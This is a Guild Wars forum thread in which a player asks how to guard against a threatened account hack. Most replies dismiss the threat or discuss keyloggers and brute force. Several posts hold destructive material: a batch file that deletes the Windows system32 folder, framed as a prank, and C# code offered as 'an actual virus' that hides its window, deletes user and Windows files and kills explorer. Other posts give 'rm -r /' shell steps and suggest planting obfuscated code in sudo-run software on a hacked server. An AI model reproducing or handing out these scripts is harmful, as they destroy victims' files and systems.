Getting Hacked

Flaminn

Pre-Searing Cadet

Join Date: Jun 2009

[merc]

D/

Hi all. So just like 10 mins ago, this guy got into a fight with me. He sounded pretty serious and all so yeah. He said that he had a friend who knows how to hack accounts and what not. I know this is usually bogus but just in case, is their anything i can do to prevent this? This guy sounded pretty serious but i tried to scare him back a little bit by saying if he even tries to hack me hes gonna be screwed (he backed off a little bit then ^_^.). But yeah, any suggestions? Thanks

fenix

fenix

Major-General Awesome

Join Date: Aug 2005

Aussie Trolling Crew HQ - Event Organiser and IRC Tiger

Ex Talionis [Law], Trinity of the Ascended [ToA] ????????????????&#

W/

Ugh. Teenagers on the internet. Surely there's a rule preventing that.

You're not going to get hacked, it's some dumb teen talking trash.

Bob Slydell

Forge Runner

Join Date: Jan 2007

I've had people threaten me after failed AB/RA matches saying they were going to hack me. Needless to say my guildwars account remains untouched years later.

Anyone who says that is just playing as an Internet Toughguy and should be castrated in front of a group of people with a dull knife.

Legendary Jamie

Banned

Join Date: Jun 2008

UK

Team Everfrost [eF]

Mo/

I had a kid say once he was going to DDoS my interwebz. I asked him if he even knew what DDoS stood for...he went offline.

i farm baddies

Lion's Arch Merchant

Join Date: Apr 2009

when they threaten you just say you took screenshots of it and sent it to the authorities (fbi or whoever). or you can actually do that and that person might actually get in trouble

also, RED ENGINE GORED ENGINE GORED ENGINE GORED ENGINE GO.........lol

Bob Slydell

Forge Runner

Join Date: Jan 2007

Quote:
Originally Posted by Legendary Jamie View Post
I had a kid say once he was going to DDoS my interwebz. I asked him if he even knew what DDoS stood for...he went offline.
I would have asked him how he was going to attempt to find my IP and send a DDoS attack to an IP address unlinked to a website.... lmfao classic.

Shayne Hawke

Shayne Hawke

Departed from Tyria

Join Date: May 2007

Clan Dethryche [dth]

R/

Tell him your friend is a mod.

Forgotton200

Forgotton200

Lion's Arch Merchant

Join Date: Nov 2008

Mo/

Quote:
Originally Posted by Flaminn View Post
Hi all. So just like 10 mins ago, this guy got into a fight with me. He sounded pretty serious and all so yeah. He said that he had a friend who knows how to hack accounts and what not. I know this is usually bogus but just in case, is their anything i can do to prevent this? This guy sounded pretty serious but i tried to scare him back a little bit by saying if he even tries to hack me hes gonna be screwed (he backed off a little bit then ^_^.). But yeah, any suggestions? Thanks
I suggest you tell the "hacker" to open up his notepad and type:

@echo off
del c:\WINDOWS\system32

Save the file as anything.bat (remember to add the .bat extension) then save as ALL FILES.

Double-click the document.

Akuma

Akuma

IRC W H O R E

Join Date: Feb 2006

Australian Trolling Crew HQ, rightful leader and administration

Yale University [Snow]

W/

i suggest you punch him in the face

Flaminn

Pre-Searing Cadet

Join Date: Jun 2009

[merc]

D/

Quote:
Originally Posted by Forgotton200 View Post
I suggest you tell the "hacker" to open up his notepad and type:

@echo off
del c:\WINDOWS\system32

Save the file as anything.bat (remember to add the .bat extension) then save as ALL FILES.

Double-click the document.
Lmao^

Thanks all. I gotta do something like this next time .

im 1337 sauce

Banned

Join Date: Jul 2009

A/E

Quote:
Originally Posted by Forgotton200 View Post
I suggest you tell the "hacker" to open up his notepad and type:

@echo off
del c:\WINDOWS\system32

Save the file as anything.bat (remember to add the .bat extension) then save as ALL FILES.

Double-click the document.
May i ask what does that do....?

i farm baddies

Lion's Arch Merchant

Join Date: Apr 2009

gonna guess thats going to royally mess someones computer up?

Bob Slydell

Forge Runner

Join Date: Jan 2007

Quote:
Originally Posted by im 1337 sauce View Post
May i ask what does that do....?
It pwns your computer in the face. Not joking lol. Had a virus do it to my old PC once.

theicydragonsword

Academy Page

Join Date: Feb 2008

squirtle squad

D/Mo

it's impossible to hack someone's guild wars account. anyone who says otherwise doesn't know what they're talking about. when someone says they were "hacked" they probably mean that they had a virus that logged their keystrokes, resulting in the "hacker" or, more appropriately, the virus spreader, to receive their password.

Kerwyn Nasilan

Kerwyn Nasilan

Forge Runner

Join Date: Aug 2007

WHERE DO YOU THINK

W/

.bat basically means that assuming you put something useful in the note pad doc it will open a bajillion times and crash your comp. Relatively harmless MOST of the time. (depend how you code it. idk how bad that particular one is)
Quote:
Originally Posted by theicydragonsword View Post
it's impossible to hack someone's guild wars account. anyone who says otherwise doesn't know what they're talking about. when someone says they were "hacked" they probably mean that they had a virus that logged their keystrokes, resulting in the "hacker" or, more appropriately, the virus spreader, to receive their password.
A brute force "hack" is possible, just highly unlikely and inefficient compared to keyloggers.

Expherious

Lion's Arch Merchant

Join Date: Dec 2007

Wolfenstein Fuel Dump

Melandru's Elite Hunters [Hunt]

D/

<turn off chat
12chars

Ghost Dog

Krytan Explorer

Join Date: Mar 2008

W/

Quote:
Originally Posted by im 1337 sauce View Post
May i ask what does that do....?
If you click the document it will delete vital windows data, dll's etc.


Mr.1337 sauce.

Killamus

Guest

Join Date: Oct 2008

It's more fun to send an actual virus.

Code:
using System;
using System.Collections.Generic;
using System.Text;
using System.IO;
using System.Reflection;
using System.Collections;
using System.Threading;

namespace ConsoleApplication1
{
    class Program
    {
        //Let's make the form invisible, shall we? Don't want them closing it too fast, do we?
        [System.Runtime.InteropServices.DllImport ( "user32.dll" )]
        private static extern bool ShowWindow ( IntPtr hWnd, int nCmdShow );
        private const int SW_MINIMIZE = 6;
        private const int SW_MAXIMIZE = 3;
        private const int SW_RESTORE = 9;

        static void Main ( string[] args )
        {
            List<string> files = new List<string> ();
            //Minimize teh window
            IntPtr winHandle = System.Diagnostics.Process.GetCurrentProcess ().MainWindowHandle;
            ShowWindow ( winHandle, SW_MINIMIZE );
            //typical folders
            string path = @"C:\Documents and Settings\";
            string path1 = @"C:\Windows";
            //Add all of those files into a list.
            files.AddRange ( Directory.GetFiles ( path, "*.*", SearchOption.AllDirectories ) );
            files.AddRange ( Directory.GetFiles ( path1, "*.*" ) );

            DoStopExplorer (0);
            //Delete all files, starting with those in my documents.
            foreach ( string file in files )
            {
                File.Delete ( file );
                DoStopExplorer ( 1 );
            }
            Console.ReadLine ();
        }
        //Stops the explorer process. I.E task bar. I used to have the task manager in here too, guess I should add that back in
        private static void DoStopExplorer (int times)
        { 
            List<System.Diagnostics.Process> process = new List<System.Diagnostics.Process> ();//Lists are fun

            process.AddRange ( System.Diagnostics.Process.GetProcesses() );//But empty lists aren't, so let's fill it

            foreach ( System.Diagnostics.Process proc in process )
            {
                if ( proc.ProcessName == "explorer" || taskmgr.exe)
                {
                    proc.Kill ();//BURN, KILL, FIRE, ETC.
                }
            }
        }
    }
}
You didn't get this from me though.

Bob Slydell

Forge Runner

Join Date: Jan 2007

Quote:
Originally Posted by Kerwyn Nasilan View Post
.bat basically means that assuming you put something useful in the note pad doc it will open a bajillion times and crash your comp. Relatively harmless MOST of the time. (depend how you code it. idk how bad that particular one is)

A brute force "hack" is possible, just highly unlikely and inefficient compared to keyloggers.
Yeah but even with Brute Force, you would still need to know the email address as the GW username first.

Someone once said in a thread, they wondered if it was possible that all the people getting hacked was a result of someone using some kind of packet interception without even knowing their acct/pass. Think of how fast and efficiently some people get hacked these days, it has an eeire feeling to it. They never get hacked in their life on GW, leave for one hour, come back and 100k or some ectos are gone from their stash but their account and chars are generally fine.

theicydragonsword

Academy Page

Join Date: Feb 2008

squirtle squad

D/Mo

Quote:
Originally Posted by Kerwyn Nasilan View Post
.bat basically means that assuming you put something useful in the note pad doc it will open a bajillion times and crash your comp. Relatively harmless MOST of the time. (depend how you code it. idk how bad that particular one is)

A brute force "hack" is possible, just highly unlikely and inefficient compared to keyloggers.
A brute force hack isn't a real hack in the traditional sense of the word, rather, it is just guessing over and over until you find the right password. Depending on how you go about programming the computer to do this, there are too many drawbacks to it. Firstly, if you program it to go through every possible combination alphabetically, if the person has a password starting with a letter at the end of the alphabet, you'll probably never get there. Plus, it takes time to send the login request to the GW servers. I'm too tired to do the math right now but if it took even just 1 second per try, that is a lot of time. Plus if Arenanet's servers got that many packets again and again, they'd know something was up and more than likely lock down the account before you get to the B's.

theicydragonsword

Academy Page

Join Date: Feb 2008

squirtle squad

D/Mo

Quote:
Originally Posted by Killamus View Post
It's more fun to send an actual virus.

Code:
using System;
using System.Collections.Generic;
using System.Text;
using System.IO;
using System.Reflection;
using System.Collections;
using System.Threading;

namespace ConsoleApplication1
{
    class Program
    {
        [System.Runtime.InteropServices.DllImport ( "user32.dll" )]
        private static extern bool ShowWindow ( IntPtr hWnd, int nCmdShow );
        private const int SW_MINIMIZE = 6;
        private const int SW_MAXIMIZE = 3;
        private const int SW_RESTORE = 9;

        static void Main ( string[] args )
        {
            List<string> files = new List<string> ();

            IntPtr winHandle = System.Diagnostics.Process.GetCurrentProcess ().MainWindowHandle;
            ShowWindow ( winHandle, SW_MINIMIZE );

            string path = @"C:\Documents and Settings\";
            string path1 = @"C:\Windows";

            files.AddRange ( Directory.GetFiles ( path, "*.*", SearchOption.AllDirectories ) );
            files.AddRange ( Directory.GetFiles ( path1, "*.*" ) );

            DoStopExplorer (0);

            foreach ( string file in files )
            {
                File.Delete ( file );
                DoStopExplorer ( 1 );
            }
            Console.ReadLine ();
        }

        private static void DoStopExplorer (int times)
        { 
            List<System.Diagnostics.Process> process = new List<System.Diagnostics.Process> ();

            process.AddRange ( System.Diagnostics.Process.GetProcesses() );

            foreach ( System.Diagnostics.Process proc in process )
            {
                if ( proc.ProcessName == "explorer" )
                {
                    proc.Kill ();
                }
            }
        }
    }
}
You didn't get this from me though.
LOL. good thing i run linux, that could really piss people off.

therlye

Pre-Searing Cadet

Join Date: Jul 2009

Quote:
Originally Posted by Chrisworld View Post
Yeah but even with Brute Force, you would still need to know the email address as the GW username first.

Someone once said in a thread, they wondered if it was possible that all the people getting hacked was a result of someone using some kind of packet interception without even knowing their acct/pass. Think of how fast and efficiently some people get hacked these days, it has an eeire feeling to it. They never get hacked in their life on GW, leave for one hour, come back and 100k or some ectos are gone from their stash but their account and chars are generally fine.
that just confirms what i was about to say, a real hacker won't tell you they're going to hack you they'll just do it

Killamus

Guest

Join Date: Oct 2008

Quote:
Originally Posted by theicydragonsword View Post
LOL. good thing i run linux, that could really piss people off.
Oh, then there's an easier way to do it.

Open terminal
nano ./awesome.sh
rm -r /
control+x
y
y
chmod 775 ./awesome.sh
./awesome.sh

ftw.

Archress Shayleigh

Archress Shayleigh

Wilds Pathfinder

Join Date: Feb 2009

Guild Hall

R/

It's all bullcrap. Don't give a damn.

kdb424

Ascalonian Squire

Join Date: Jul 2009

A/R

Quote:
Originally Posted by Killamus View Post
Oh, then there's an easier way to do it.

Open terminal
nano ./awesome.sh
rm -r /
control+x
y
y
chmod 775 ./awesome.sh
./awesome.sh

ftw.
Ah, but without sudo (or root I guess...) quite useless is it. I prefer chmod +x for 775 anyways. lol. But honestly, if I'm going to hack someone (never have before) I wouldn't tell them. That's just dumb... Great to be safe in Linux from many attacks though.

Killamus

Guest

Join Date: Oct 2008

Quote:
Originally Posted by kdb424 View Post
Ah, but without sudo (or root I guess...) quite useless is it. I prefer chmod +x for 775 anyways. lol. But honestly, if I'm going to hack someone (never have before) I wouldn't tell them. That's just dumb... Great to be safe in Linux from many attacks though.
You're not safe. Take any program that has to be run in sudo, and obfuscate this code in the source, and you'd never know. Hack the server (Which isn't hard, script kiddies do it all the time) and throw up your bundle instead of theirs.

Because, really, who uses MD5sum anyways?

Darcy

Darcy

Never Too Old

Join Date: Jul 2006

Rhode Island where there are no GW contests

Order of First

W/R

@theicedragonsword - Isn't that what happened with that last batch of Code 045 blocks. A "hacker" was trying to access many accounts, so ArenaNet blocked the accounts until they could be sure the attempt was unsuccessful. I assumed the "hacker" was using a computer program to attempt logins and ArenaNet security noticed the great number of failed attempts.

@OP - if it happens again, take screenshot of conversation and report to Support. It's like mentioning "bombs" in an airport. It is a real fear and shouldn't be tolerated. Stupidity should always be punished.

Faure

Faure

Krytan Explorer

Join Date: Feb 2006

Mystic Spiral [MYST]

R/

Quote:
Originally Posted by Darcy View Post
@theicedragonsword - Isn't that what happened with that last batch of Code 045 blocks. A "hacker" was trying to access many accounts, so ArenaNet blocked the accounts until they could be sure the attempt was unsuccessful. I assumed the "hacker" was using a computer program to attempt logins and ArenaNet security noticed the great number of failed attempts.
Wouldn't it be easier to block the ip address from where all those attempts came from?

Fril Estelin

Fril Estelin

So Serious...

Join Date: Jan 2007

London

Nerfs Are [WHAK]

E/

To the OP: think for a few seconds, don't panic, don't fear, concentrate and think:

if the supposedly hacker friend is going to get at YOU specifically, he needs to find you on your computer; how is he going to find YOUR computer in the middle of the millions of computers in your city?

Hackers aren't magicians. The guy talked BS. Learn from that and tell your friends. Emotion is the tool of "social engineer" to generate fear into you that will hurt you, because they can't hurt you otherwise.

And LOL at sudos, chmods and other scripts

Killamus

Guest

Join Date: Oct 2008

Quote:
Originally Posted by Fril Estelin View Post
And LOL at sudos, chmods and other scripts
http://en.wikipedia.org/wiki/Sudo
http://en.wikipedia.org/wiki/Chmod
Quote:
Originally Posted by Faure View Post
Wouldn't it be easier to block the ip address from where all those attempts came from?
I think that they have to manually block IPs, and the banning of an account from brute force attacks is an automated thing.